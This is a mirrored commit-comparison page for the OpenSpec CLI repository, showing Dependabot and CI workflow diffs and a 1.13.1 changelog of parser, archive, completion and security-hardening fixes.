mirror of
https://github.com/Fission-AI/OpenSpec.git
synced 2026-10-04 14:38:54 +08:00
Compare commits
73
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
634c557bd0 | ||
|
|
eb03b9e933 | ||
|
|
3312af4799 | ||
|
|
5f5914e7f7 | ||
|
|
9827762d2d | ||
|
|
11a9691524 | ||
|
|
62106f40e3 | ||
|
|
e67ac47f3a | ||
|
|
605d9e7a2b | ||
|
|
626269ed73 | ||
|
|
086c93b40b | ||
|
|
7090e16d74 | ||
|
|
a5bf5c6844 | ||
|
|
6a87a514ec | ||
|
|
fede536c27 | ||
|
|
8fc65b7f70 | ||
|
|
92fb72d1dc | ||
|
|
4c369e022b | ||
|
|
8146be5546 | ||
|
|
72bf7600a5 | ||
|
|
388d34473a | ||
|
|
2ef6fbde3d | ||
|
|
9f8dec5dd9 | ||
|
|
208b5b5510 | ||
|
|
5d221456e5 | ||
|
|
e01ed070f1 | ||
|
|
db560ae33f | ||
|
|
46ff91f2d6 | ||
|
|
4b5c07a0c2 | ||
|
|
767d63c926 | ||
|
|
6e62b1d522 | ||
|
|
e571b5b9ae | ||
|
|
3b8e5b6616 | ||
|
|
7de24044ef | ||
|
|
8b99c07bd0 | ||
|
|
09a999bbb2 | ||
|
|
09984b8242 | ||
|
|
b928165276 | ||
|
|
9d4e5974e5 | ||
|
|
e4e112d94f | ||
|
|
aedf4d0c64 | ||
|
|
d9e1a28c38 | ||
|
|
8251763ecd | ||
|
|
fadac3e1c9 | ||
|
|
3915db763a | ||
|
|
c170dc77ad | ||
|
|
8ba4ac1b16 | ||
|
|
3c6d318b83 | ||
|
|
6d2dbe62d3 | ||
|
|
1c0ee701e5 | ||
|
|
0b60a0ac1f | ||
|
|
6981c84df0 | ||
|
|
63666c8bb2 | ||
|
|
e062b9572b | ||
|
|
fbd4160b37 | ||
|
|
9ec0a090b8 | ||
|
|
9dfffd87b3 | ||
|
|
cb5ae2cd16 | ||
|
|
db03c6c4b0 | ||
|
|
a4fcdbece6 | ||
|
|
0296401b82 | ||
|
|
cd724449ac | ||
|
|
954d4796a4 | ||
|
|
98bf53e59e | ||
|
|
2fd175c8b0 | ||
|
|
b976106d95 | ||
|
|
cdd06a0594 | ||
|
|
1bcdf1b032 | ||
|
|
44a39eb24b | ||
|
|
142b8a9203 | ||
|
|
6911f55175 | ||
|
|
c5c38a7aca | ||
|
|
d0071d7326 |
+12
-4
@@ -1,10 +1,14 @@
|
||||
version: 2
|
||||
|
||||
# Dependabot does not manage two dependency surfaces in this repo:
|
||||
# 1. pnpm `overrides` (pnpm-workspace.yaml + package.json, root and website) —
|
||||
# transitive version pins that remediate advisories Dependabot can't otherwise
|
||||
# reach. It never bumps or removes these; each carries an inline advisory
|
||||
# comment noting the removal condition (see pnpm-workspace.yaml).
|
||||
# 1. pnpm `overrides` (pnpm-workspace.yaml, root and website) — transitive
|
||||
# version pins that remediate advisories Dependabot can't otherwise reach.
|
||||
# It never bumps or removes these; each carries an inline advisory comment
|
||||
# noting the removal condition (see pnpm-workspace.yaml). They live in
|
||||
# pnpm-workspace.yaml only, because Dependabot *does* rewrite a plain-name
|
||||
# override (`postcss: ^8.5.26`) mirrored under package.json's `pnpm.overrides`
|
||||
# — and that block replaces the workspace list rather than merging with it,
|
||||
# so the mirror displaces the real pins. See #1812.
|
||||
# 2. The Nix flake (flake.nix / flake.lock). Update nixpkgs manually with
|
||||
# `nix flake update`; there is no Dependabot ecosystem for Nix. Note that the
|
||||
# pnpmDeps FOD hash in flake.nix must be regenerated on any root lockfile change.
|
||||
@@ -29,6 +33,10 @@ updates:
|
||||
- dependency-name: "@types/node"
|
||||
update-types:
|
||||
- version-update:semver-major
|
||||
# Chalk 6 requires Node 22, while the published CLI supports Node 20.19.
|
||||
- dependency-name: "chalk"
|
||||
update-types:
|
||||
- version-update:semver-major
|
||||
- dependency-name: "typescript"
|
||||
update-types:
|
||||
- version-update:semver-major
|
||||
|
||||
+49
-22
@@ -42,6 +42,10 @@ jobs:
|
||||
- 'pnpm-workspace.yaml'
|
||||
- 'scripts/update-flake.sh'
|
||||
- '.github/workflows/ci.yml'
|
||||
# The Nix build runs `openspec completion generate`, so a change to
|
||||
# the generator can break packaging without touching flake.nix.
|
||||
- 'src/commands/completion.ts'
|
||||
- 'src/core/completions/**'
|
||||
|
||||
test_matrix:
|
||||
name: Test (${{ matrix.label }})
|
||||
@@ -181,6 +185,31 @@ jobs:
|
||||
- name: Setup Nix cache
|
||||
uses: DeterminateSystems/magic-nix-cache-action@908b263ff629f4cc17666315b7fd3ec127c6244d # v14
|
||||
|
||||
# Run the update script before `nix build`, not after. The script recomputes
|
||||
# the pnpmDeps hash from pnpm-lock.yaml and rewrites flake.nix in place, so a
|
||||
# stale hash is reported here as the exact value to paste. Built first, the
|
||||
# same staleness surfaces as pnpm's ERR_PNPM_NO_OFFLINE_TARBALL — which names
|
||||
# a missing tarball, not the hash — and the script never runs to say otherwise.
|
||||
# Every root lockfile change needs this value, and Dependabot cannot produce it.
|
||||
- name: Verify pnpmDeps hash matches the lockfile
|
||||
run: |
|
||||
bash scripts/update-flake.sh
|
||||
if git diff --quiet flake.nix; then
|
||||
echo "✅ flake.nix pnpmDeps hash is up to date"
|
||||
exit 0
|
||||
fi
|
||||
# Scoped to the pnpmDeps block: a bare first-match would report some other
|
||||
# FOD's hash if one is ever added above it.
|
||||
HASH=$(sed -n '/pnpmDeps = /,/};/p' flake.nix \
|
||||
| sed -nE 's/.*hash = "(sha256-[^"]+)".*/\1/p' | head -1)
|
||||
git diff flake.nix
|
||||
echo "::error file=flake.nix::Stale pnpmDeps hash. Set pnpmDeps.hash to $HASH and push."
|
||||
exit 1
|
||||
|
||||
- name: Restore flake.nix
|
||||
if: always()
|
||||
run: git checkout -- flake.nix || true
|
||||
|
||||
- name: Build with Nix
|
||||
run: nix build
|
||||
|
||||
@@ -194,6 +223,19 @@ jobs:
|
||||
echo "Error: openspec binary not found in build output"
|
||||
exit 1
|
||||
fi
|
||||
for completion in \
|
||||
"share/bash-completion/completions/openspec.bash" \
|
||||
"share/fish/vendor_completions.d/openspec.fish" \
|
||||
"share/zsh/site-functions/_openspec"; do
|
||||
if [ ! -s "result/$completion" ]; then
|
||||
echo "Error: completion script missing or empty: $completion"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
if [ "$(head -1 result/share/zsh/site-functions/_openspec)" != "#compdef openspec" ]; then
|
||||
echo "Error: zsh completion is not autoloadable (missing #compdef header)"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Build output verified"
|
||||
|
||||
- name: Test binary execution
|
||||
@@ -206,25 +248,6 @@ jobs:
|
||||
fi
|
||||
echo "✅ Binary execution successful"
|
||||
|
||||
- name: Validate update script
|
||||
run: |
|
||||
echo "Testing update-flake.sh script..."
|
||||
bash scripts/update-flake.sh
|
||||
echo "✅ Update script executed successfully"
|
||||
|
||||
- name: Check flake.nix modifications
|
||||
run: |
|
||||
if git diff --quiet flake.nix; then
|
||||
echo "ℹ️ flake.nix unchanged (hash already up-to-date)"
|
||||
else
|
||||
echo "✅ flake.nix was updated by script"
|
||||
git diff flake.nix
|
||||
fi
|
||||
|
||||
- name: Restore flake.nix
|
||||
if: always()
|
||||
run: git checkout -- flake.nix || true
|
||||
|
||||
validate-changesets:
|
||||
name: Validate Release Tracking
|
||||
runs-on: ubuntu-latest
|
||||
@@ -242,10 +265,14 @@ jobs:
|
||||
changed_changesets="$(git diff --name-only --diff-filter=ACMRT origin/main...HEAD -- '.changeset/*.md' ':!.changeset/README.md')"
|
||||
if [[ -n "$changed_changesets" ]]; then
|
||||
echo "has_changesets=true" >> "$GITHUB_OUTPUT"
|
||||
# Run-unique delimiter: the value is a list of PR-authored paths, so a
|
||||
# fixed "EOF" would let a crafted path close the block early and append
|
||||
# its own key=value outputs.
|
||||
delim="EOF_$(openssl rand -hex 16)"
|
||||
{
|
||||
echo "files<<EOF"
|
||||
echo "files<<$delim"
|
||||
echo "$changed_changesets"
|
||||
echo "EOF"
|
||||
echo "$delim"
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "has_changesets=false" >> "$GITHUB_OUTPUT"
|
||||
@@ -260,7 +287,7 @@ jobs:
|
||||
if: steps.changed-changesets.outputs.has_changesets == 'true'
|
||||
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
|
||||
with:
|
||||
node-version: '20.19.0'
|
||||
node-version: '24'
|
||||
cache: 'pnpm'
|
||||
|
||||
- name: Install dependencies
|
||||
|
||||
@@ -53,13 +53,17 @@ jobs:
|
||||
# Opens/updates the Version Packages PR; publishes when the Version PR merges
|
||||
- name: Create/Update Version PR
|
||||
id: changesets
|
||||
uses: changesets/action@a45c4d594aa4e2c509dc14a9f2b3b67ba3780d0d # v1
|
||||
uses: changesets/action@8488615a623b1b9c987934bb89eae8af6a946ac1 # v2.1.1
|
||||
with:
|
||||
title: 'chore(release): version packages'
|
||||
createGithubReleases: true
|
||||
github-token: ${{ steps.app-token.outputs.token }}
|
||||
pr-title: 'chore(release): version packages'
|
||||
create-github-releases: true
|
||||
# Preserve the v1 release path: pushes use the GitHub App token from
|
||||
# checkout so version PR updates trigger their normal CI workflows.
|
||||
push-with-git-cli: true
|
||||
# Use CI-specific release script: relies on version PR having been merged
|
||||
# so package.json already contains the bumped version.
|
||||
publish: pnpm run release:ci
|
||||
publish-script: pnpm run release:ci
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ steps.app-token.outputs.token }}
|
||||
# npm authentication handled via OIDC trusted publishing (no token needed)
|
||||
|
||||
+143
@@ -1,5 +1,148 @@
|
||||
# @fission-ai/openspec
|
||||
|
||||
## 1.13.1
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- [#1864](https://github.com/Fission-AI/OpenSpec/pull/1864) [`767d63c`](https://github.com/Fission-AI/OpenSpec/commit/767d63c926ab1996170f2d101acac0bac6da0287) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archive adding a second copy of an existing requirement under a name that differs only in case or spacing. ADDED and the RENAMED target compared requirement names exactly, while REMOVED and the RENAMED source already treated a case or whitespace variant as a mistyped header, so an ADDED `late fees` beside an existing `Late Fees`, or a rename to `LATE FEES`, archived cleanly and left two contradicting requirements in the main spec, which `validate` then accepted. Both now refuse with an error naming the existing requirement, in the same form REMOVED already used. The exact-duplicate error is unchanged, a case-only rename of a requirement to its own name still works, and a variant of a requirement the same delta removes or renames away is still allowed, because ADDED is checked against the spec as it stands after the earlier operations, as the exact check already was.
|
||||
|
||||
- [#1872](https://github.com/Fission-AI/OpenSpec/pull/1872) [`72bf760`](https://github.com/Fission-AI/OpenSpec/commit/72bf7600a5f7bdf74d6387e163577086fb4c68e0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec completion uninstall bash` hand `.bashrc` back exactly as `completion install bash` found it. Install adds the OpenSpec block at the top of the file followed by a blank separator line; uninstall removed the block but kept that blank line at the top, then stripped every trailing blank line and wrote the file back without its final newline. The byte count happened to come out unchanged, but the next tool to append to `.bashrc` with `>>` (the nvm, conda and rustup installers all do) merged its first line into the user's last line and broke both. Uninstall now also drops the separator line install added when the block sits at the top of the file, and leaves the rest untouched: the final newline, trailing blank lines and CRLF line endings all survive the round trip. A block the user moved elsewhere in the file is still removed, and the zsh, fish and PowerShell installers are unchanged.
|
||||
|
||||
- [#1829](https://github.com/Fission-AI/OpenSpec/pull/1829) [`e67ac47`](https://github.com/Fission-AI/OpenSpec/commit/e67ac47f3a164cf6d87ddcd9f50272b88f39ee0c) Thanks [@choi138](https://github.com/choi138)! - Fix bulk archive nesting a change inside an existing archive target. The workflow now checks every archive target before it writes any main spec, the same order `openspec archive` uses. A change whose target already exists, or that shares a target with another selected change, is reported as failed and is never synced or moved, while the rest of the batch continues. The check runs again just before each move.
|
||||
|
||||
- [#1878](https://github.com/Fission-AI/OpenSpec/pull/1878) [`2ef6fbd`](https://github.com/Fission-AI/OpenSpec/commit/2ef6fbde3da95f6e471bcb504d13711308091be0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec config edit` run an `EDITOR` or `VISUAL` that carries arguments. The whole value was passed to `spawn` as the program name, so common settings such as `code --wait`, `subl -w` or `emacsclient -t` failed with `spawn code --wait ENOENT`, and because that error was never caught the command died with a raw Node stack trace. The value is now split into a program and its arguments, honoring quoted paths with spaces, and the config path is appended as its own argument. No shell is involved, so shell metacharacters in the value are passed through literally. On Windows, `.cmd` shims such as `code.cmd` are found. A value that is itself the absolute path of an existing file is still run as-is, so an unquoted editor path containing spaces keeps working. An editor that cannot be started, exits non-zero or is killed is now reported as a one-line error naming the editor, with an install hint when the program was not found, and the command exits 1 instead of throwing. `EDITOR` still takes precedence over `VISUAL`, and the file is still validated after the editor closes.
|
||||
|
||||
- [#1773](https://github.com/Fission-AI/OpenSpec/pull/1773) [`11a9691`](https://github.com/Fission-AI/OpenSpec/commit/11a9691524bad84a575854bf6dc5124f630479ba) Thanks [@clay-good](https://github.com/clay-good)! - Stop dropping checkbox lines whose marker the task parser does not recognise. A `tasks.md` whose remaining work used a marker other than `[ ]`/`[x]`/`[X]`, for example `- [~] 1.2 Deferred`, reported `✓ Complete` in `openspec list`/`status` and archived with no incomplete-task warning, because unmatched lines counted toward neither the numerator nor the denominator. An empty `[]` and a padded `[ x]` were lost the same way. Only a box holding `x` or `X` means done (spacing inside the brackets is ignored, so `[ x]` is done), and every other marker now reads as unfinished, across progress, the apply task list, archive's gate and validate's task-numbering check. The archive, bulk-archive and verify workflows now tell agents the same rule, so a hand-counted tally cannot disagree with the CLI, and the `tasks` instruction in the `spec-driven` schema states it where agents author the file. Markdown link bullets stay out of the count: `- [Some doc](./doc.md)` and the one-character `- [A](https://example.com)` are not tasks.
|
||||
|
||||
- [#1701](https://github.com/Fission-AI/OpenSpec/pull/1701) [`92fb72d`](https://github.com/Fission-AI/OpenSpec/commit/92fb72d1dcd5fa6e43802c5b2f74b5e78416e545) Thanks [@clay-good](https://github.com/clay-good)! - Agent-driven archive and sync workflows now create a missing main spec from `ADDED` requirements instead of treating it as already synced. They block sync rather than inventing `MODIFIED` or `RENAMED` requirements or writing an empty spec for a `REMOVED`-only delta, while preserving the user's explicit choice to archive without syncing. A REMOVED-only delta with `retire_capabilities: true` remains already synced when its main spec is gone. Fixes [#1222](https://github.com/Fission-AI/OpenSpec/issues/1222) and [#1264](https://github.com/Fission-AI/OpenSpec/issues/1264).
|
||||
|
||||
- [#1804](https://github.com/Fission-AI/OpenSpec/pull/1804) [`a5bf5c6`](https://github.com/Fission-AI/OpenSpec/commit/a5bf5c68447f03e4f99206e49e00b5d9111301a4) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Say so when a requirement in a delta sits outside every delta section. A well-formed `### Requirement:` block written under `## Notes`, under a misspelled header such as `## Add Requirements`, or above the first `## ` header was dropped with no diagnostic: `openspec validate` reported the change valid and `openspec archive` exited 0 without applying it. `openspec validate` now reports each one as a WARNING naming the section and line, and archive prints the same warning. Nothing else changes: the block is still not applied, the verdict stays valid outside `--strict`, and requirements shown inside a code fence are not reported. Fixes [#1803](https://github.com/Fission-AI/OpenSpec/issues/1803).
|
||||
|
||||
- [#1832](https://github.com/Fission-AI/OpenSpec/pull/1832) [`4c369e0`](https://github.com/Fission-AI/OpenSpec/commit/4c369e022b1d397842d2b85675e34da6287f5801) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left explore mode's capture branch without a governing rule. Explore states twice that the agent must ask a direct yes/no question and wait for confirmation in a separate user message before its first write-capable action, naming `openspec new change` as an example, while the capture branch tells the agent to transition "seamlessly" into running `openspec new change` and creating artifacts with no confirmation step. Both readings were defensible from the text, so the same "capture this as a change" request either wrote `.openspec.yaml` plus several artifacts immediately or stopped and asked, depending on which passage the agent weighed, which made the [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) guarantee unenforceable in the one explore path that writes files. An explicit capture request is now stated to be that confirmation, covering the change and the artifacts the request names and nothing else. The guardrail keeps its teeth for the case [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) actually reported: when the agent is the one proposing the capture, or when the work would go beyond the requested scope, it still asks first, and answers to design or clarifying questions are still never consent to write. Both explore delivery surfaces and the committed skill carry the same wording. Fixes [#1828](https://github.com/Fission-AI/OpenSpec/issues/1828).
|
||||
|
||||
- [#1788](https://github.com/Fission-AI/OpenSpec/pull/1788) [`62106f4`](https://github.com/Fission-AI/OpenSpec/commit/62106f40e3b7b7364529a2f928717e23e37282eb) Thanks [@clay-good](https://github.com/clay-good)! - Name the workflow where explore hands off. Explore mode refuses to implement, but every place it said what to do instead described the next step as prose ("create a change proposal") without naming the workflow that does it: the refusal itself, the "flow into a proposal" ending, the closing summary, and the do-not-implement guardrail. Its seamless capture path was worse: it scaffolded a change, wrote artifacts, and then said nothing at all about what came next. With no named exit, agents finished the discovery questions and started writing code, which is the failure reported through GitHub Copilot in [#869](https://github.com/Fission-AI/OpenSpec/issues/869), and which the docs already promised would not happen ("when the picture is clear, it hands off to `/opsx:propose`").
|
||||
|
||||
The explore skill and command now name `/opsx:propose` at all four prose handoffs, and the capture path ends by naming `/opsx:propose` for the remaining planning artifacts and `/opsx:apply` for implementation, with an explicit note that capturing artifacts is not permission to implement them. The references are written in the canonical `/opsx:<id>` form so each tool renders the invocation it actually registers (`/openspec-propose` for skills-only delivery, `/opsx-propose`, `/opsx:propose`, or `@opsx-propose` for command surfaces). The handoffs follow the installed workflow set: a custom profile without `propose` or `apply` gets explore's own capture path and the `openspec instructions apply` CLI instead of a command it never installed. Fixes [#869](https://github.com/Fission-AI/OpenSpec/issues/869).
|
||||
|
||||
- [#1787](https://github.com/Fission-AI/OpenSpec/pull/1787) [`9827762`](https://github.com/Fission-AI/OpenSpec/commit/9827762d2d18d8076acf90be79d64894255099ea) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
|
||||
|
||||
- Generated skills and commands no longer adopt a project that never ran `openspec init`. Every workflow now checks `root` from `openspec list --json` before its first write, and `"root": null` means the project is not set up. What happens next depends on how the workflow was reached. A skill the agent picked on its own drops OpenSpec and answers the request normally, without asking about setup. A workflow the user asked for by name, or ran as a slash command, stops and asks whether to initialize the project, target a store, or handle the request without OpenSpec. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not mistaken for an uninitialized one: the workflow stops and shows the store error. Neither path lets `openspec new change` create `openspec/` in the current directory as a side effect. Skill descriptions now name OpenSpec so hosts stop offering these workflows in unrelated repositories. `openspec new change` also says when it had to create the root itself, so a directory that was never set up no longer picks up an `openspec/` directory in silence (human output only; `--json` is unchanged).
|
||||
|
||||
- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Harden the CLI against repositories you have cloned but not yet read ([#1835](https://github.com/Fission-AI/OpenSpec/pull/1835)).
|
||||
|
||||
- A `config.yaml` value can no longer close the project context block and inject its own directives into the instructions an agent receives.
|
||||
- A crafted delta or skill file no longer stalls `openspec update` or `openspec archive` with catastrophic regex backtracking.
|
||||
- A repository's `.npmrc` can no longer point the update check at a cleartext or attacker-controlled registry; a rejected registry now disables the check instead of falling back.
|
||||
- `openspec update` now notices a generated `SKILL.md` that was edited by hand and restores it, instead of reporting every tool as up to date.
|
||||
- `DO_NOT_TRACK=true` and other common spellings of an opt-out now turn telemetry off, and nothing is sent until the first-run notice has been shown.
|
||||
- Shell-completion installs quote directory paths safely, git probes run with bounded time and output, and dependencies are cleared of known advisories.
|
||||
|
||||
- [#1874](https://github.com/Fission-AI/OpenSpec/pull/1874) [`388d344`](https://github.com/Fission-AI/OpenSpec/commit/388d34473a40529320b2b7b9c5bb6723d18322b0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop legacy cleanup deleting the user's own files. The six pre-skills tools that kept their commands in a `<tool>/commands/openspec/` folder (Claude Code, CodeBuddy, Qoder, Lingma, Crush and Gemini CLI) had that whole folder removed recursively whenever it existed, so a command the user kept there, such as a team review checklist, was deleted along with OpenSpec's files, and the summary named only the folder. Because `openspec init` cleans up automatically when there is no TTY, an agent or CI running plain `openspec init` did this without `--force` and without a prompt, and `openspec update --force` did the same. Cleanup now deletes only the files OpenSpec wrote there: `proposal`, `apply` and `archive` files that still carry the OpenSpec markers every legacy command was generated with, so a same-named file the user wrote is kept. It never follows a symlinked command folder, removes the folder only once nothing else is left in it, and lists each thing it kept. A folder holding nothing OpenSpec wrote is no longer reported as legacy at all. A folder holding only OpenSpec's files, or nothing, is still removed exactly as before, with the same summary line.
|
||||
|
||||
- [#1866](https://github.com/Fission-AI/OpenSpec/pull/1866) [`8146be5`](https://github.com/Fission-AI/OpenSpec/commit/8146be5546918cdffce860f1e327d929c5a49bd3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop one unresolvable file from breaking `openspec list`. To sort changes by recency, `list` stats every file inside each change, and any entry it could not stat failed the whole command: a dangling symlink, such as the `.#tasks.md` lock Emacs keeps beside every file with unsaved edits, or a symlink loop made `list` exit 1 and `list --json` report `"changes": []`, so agents discovering work through it saw no changes at all. An entry that no longer resolves (removed mid-walk, a dangling symlink, or a loop) is now skipped when computing a change's last-modified time. Valid symlinks are dated as before, and any other error, such as a permission failure, still fails the listing.
|
||||
|
||||
- [#1849](https://github.com/Fission-AI/OpenSpec/pull/1849) [`09a999b`](https://github.com/Fission-AI/OpenSpec/commit/09a999bbb258c2ad6d7cdc33436c698c15d4eebe) Thanks [@clay-good](https://github.com/clay-good)! - Report a change directory nested in a namespace folder instead of silently listing the folder around it as a change. Specs can be nested by domain (`specs/mobile/tutorial-videos/spec.md`), so it looks reasonable to lay changes out the same way, but a change is only ever a directory directly under `changes/`: `changes/mobile/refresh-token/` left the real change invisible while `mobile` was reported as a task-less change everywhere. `openspec archive mobile` then moved the unfinished change into the archive under the namespace's name and applied none of its deltas. `openspec list` now marks the folder `not a change` and names the nested directories and a flat alternative, `openspec show`, `openspec status --change` and `openspec status --all` say the same instead of reporting a missing proposal or a full artifact plan, `openspec validate` reports it instead of "must have at least one delta", `openspec list --json` carries a `warnings` entry, and `openspec archive` refuses the folder outright. Detection looks up to three directory levels below `changes/`, which covers every namespace layout seen in practice; a change buried deeper than that behaves as it did before. Fixes [#1846](https://github.com/Fission-AI/OpenSpec/issues/1846).
|
||||
|
||||
- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Install shell completions with the Nix flake package ([#1785](https://github.com/Fission-AI/OpenSpec/pull/1785)). The package now ships bash, zsh and fish completions in their standard `share/` locations, so Nix users get tab completion without running `openspec completion install` against their home directory.
|
||||
|
||||
- [#1775](https://github.com/Fission-AI/OpenSpec/pull/1775) [`626269e`](https://github.com/Fission-AI/OpenSpec/commit/626269ed732250492d8bd220a83df23dd756ee5d) Thanks [@clay-good](https://github.com/clay-good)! - Generated skills and commands no longer point at workflows the active profile does not install. On the default `core` profile, the update workflow told agents to hand off to `/opsx:continue` for missing artifacts and to `/opsx:new` for a change of intent, neither of which `core` generates. Every cross-workflow handoff is now decided at generation time against the installed workflow set, and renders a concrete CLI fallback (`openspec status`, `openspec instructions`, `openspec archive`) when the workflow it would name is absent, rather than relying on a runtime availability check the agent had to perform. The onboarding tutorial's command tables are likewise built from the workflows you actually have.
|
||||
|
||||
Also folds in [#1735](https://github.com/Fission-AI/OpenSpec/issues/1735), which fixed the same issue ([#1734](https://github.com/Fission-AI/OpenSpec/issues/1734)) by removing the optional handoffs outright. The CLI's own runtime instructions no longer name the `openspec-continue-change` skill either, since those strings are chosen at run time and cannot be resolved against a profile; and the blocked-state fallback now carries the full CLI recovery (select the next `ready` artifact from `openspec status`, read its rules with `openspec instructions`, keep the selected `--store`) rather than a one-line pointer.
|
||||
|
||||
- [#1870](https://github.com/Fission-AI/OpenSpec/pull/1870) [`e01ed07`](https://github.com/Fission-AI/OpenSpec/commit/e01ed070f18e15529f82563d4c5af35d8124bad3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archiving a change whose delta was written somewhere `archive` never reads. `validate` and `archive` read a change's deltas only from `specs/<capability-path>/spec.md`, but the spec-driven artifact graph counts any markdown file under `specs/` as the specs being written, so a delta at `specs/user-auth.md`, or in a second file beside a capability's `spec.md`, was reported done by `status` and ready by `instructions apply` with no warning, rejected by `validate` only as "no deltas found", and then archived with exit 0 and nothing merged into `openspec/specs/`. A markdown file that carries delta sections but is not a capability's `spec.md` is now a validation error naming the file and the `spec.md` its requirements belong in; `archive` runs that validation and refuses the change instead of archiving it unmerged, and `instructions apply` lists each such file in its `warnings`. `--no-validate` still archives as before, a change with no spec files still archives, and notes without delta sections under `specs/` are not affected.
|
||||
|
||||
- [#1806](https://github.com/Fission-AI/OpenSpec/pull/1806) [`6e62b1d`](https://github.com/Fission-AI/OpenSpec/commit/6e62b1d522cfadb4b9836b63d5afa127bc950743) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Refuse a `## RENAMED Requirements` section whose `FROM:` and `TO:` lines do not pair up, instead of guessing. The reader kept one pending pair and dropped whatever did not fit: a `TO:` before its `FROM:`, a `FROM:` displaced by a second `FROM:`, or a trailing `FROM:` vanished with no diagnostic. Listing the old names and then the new ones paired the second `FROM:` with the first `TO:`, so `openspec archive` renamed a requirement the delta never named, under a name written for a different one, and exited 0. `openspec validate` now reports each unpaired line as an ERROR with its line number, and archive refuses the change until the pairing is fixed. Well-formed renames, including several consecutive pairs, are unchanged. A change that used to archive with a malformed RENAMED section is now rejected. Fixes [#1805](https://github.com/Fission-AI/OpenSpec/issues/1805).
|
||||
|
||||
- [#1860](https://github.com/Fission-AI/OpenSpec/pull/1860) [`4b5c07a`](https://github.com/Fission-AI/OpenSpec/commit/4b5c07a0c2e5a4a1dcb3ed9f3a040f826eb7d457) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Read a requirement heading written with a CommonMark closing sequence, such as `### Requirement: Late Fees ###`, as the requirement it renders as. The trailing `#` run stayed in the name, so a REMOVED written that way looked for "Late Fees ###", missed the requirement, and archive exited 0 with a false "treating it as already removed" warning while the requirement stayed in the spec; a closed MODIFIED or RENAMED heading failed as "not found", and a closed and an open heading of one requirement were not reported as duplicates. Requirement names now drop the closing run wherever they are read, exactly as scenario names already did: only a run preceded by a space or tab counts, so a name such as `C#` keeps its `#`. Headings without a closing run are unaffected.
|
||||
|
||||
- [#1868](https://github.com/Fission-AI/OpenSpec/pull/1868) [`7090e16`](https://github.com/Fission-AI/OpenSpec/commit/7090e16d74dfe588dad72bc4fda9bf124e71b0af) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Reject a schema whose `apply.requires` names an artifact that does not exist. `parseSchema` checked every artifact's `requires` but never `apply.requires`, so `openspec schema validate` passed a one-character typo there, and apply then skipped the unknown id: `apply.requires: [desgin]` turned the apply gate off and told the agent "Proceed with implementation" with only a proposal written. That is now a schema error, raised wherever the schema is loaded, exactly like an unknown artifact `requires`, and it names the bad id and the artifacts the schema declares. `openspec schema validate` also warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value, because OpenSpec finds the tracked artifact by comparing those two strings and can otherwise not tell which artifact's progress the file belongs to. That covers a typo such as `task.md` and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply reads that path as written either way, so schemas that track a hand-written file keep loading and working. Every built-in schema parses as before.
|
||||
|
||||
- [#1856](https://github.com/Fission-AI/OpenSpec/pull/1856) [`46ff91f`](https://github.com/Fission-AI/OpenSpec/commit/46ff91f2d626ef2c3f9f55ff345aa23cd44a6e95) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec show --json --deltas-only` report the deltas archive applies. `ChangeParser`, which backs `show --json`, the `change list` delta counts and archive's proposal warnings, read delta specs with its own section lookup instead of `parseDeltaSpec`, the reader archive uses, and the two disagreed. A REMOVED written in the bullet form (`` - `### Requirement: X` ``) was invisible to it, so it fell back to the proposal's "What Changes" prose and reported an invented MODIFIED while archive deleted the requirement; a repeated section header was read only once; and a RENAMED line written with `*` or `+` was dropped. The inspection command OpenSpec's own error text recommends therefore misreported a deletion. `ChangeParser` now derives every operation from `parseDeltaSpec`, and a change whose delta spec files carry a delta section is described by them alone, so proposal prose is never reported in place of what archive applies. Requirement text and scenarios are read exactly as before, header-form deltas produce the same output, and a change with no delta spec files, or a legacy change whose spec files carry no delta section, still falls back to the "What Changes" bullets.
|
||||
|
||||
- [#1786](https://github.com/Fission-AI/OpenSpec/pull/1786) [`8b99c07`](https://github.com/Fission-AI/OpenSpec/commit/8b99c07bd0d455f72e746d3950f03e52a025d655) Thanks [@clay-good](https://github.com/clay-good)! - `openspec status` now names the command that moves the change forward.
|
||||
|
||||
The text output reported state and stopped there, so picking a change back up (after a lost session, or on a change you did not start) meant already knowing which command came next. The JSON surface had carried that command all along in `nextSteps`; the text surface never printed it.
|
||||
|
||||
Status now ends with a `Next:` line: the next ready artifact's `openspec instructions` command while planning is unfinished, and `openspec instructions apply` once every planning artifact exists. It carries `--store <id>` when the resolved root is a store, and it is built from the same source as the JSON `nextSteps` sentence, so the two surfaces cannot name different commands.
|
||||
|
||||
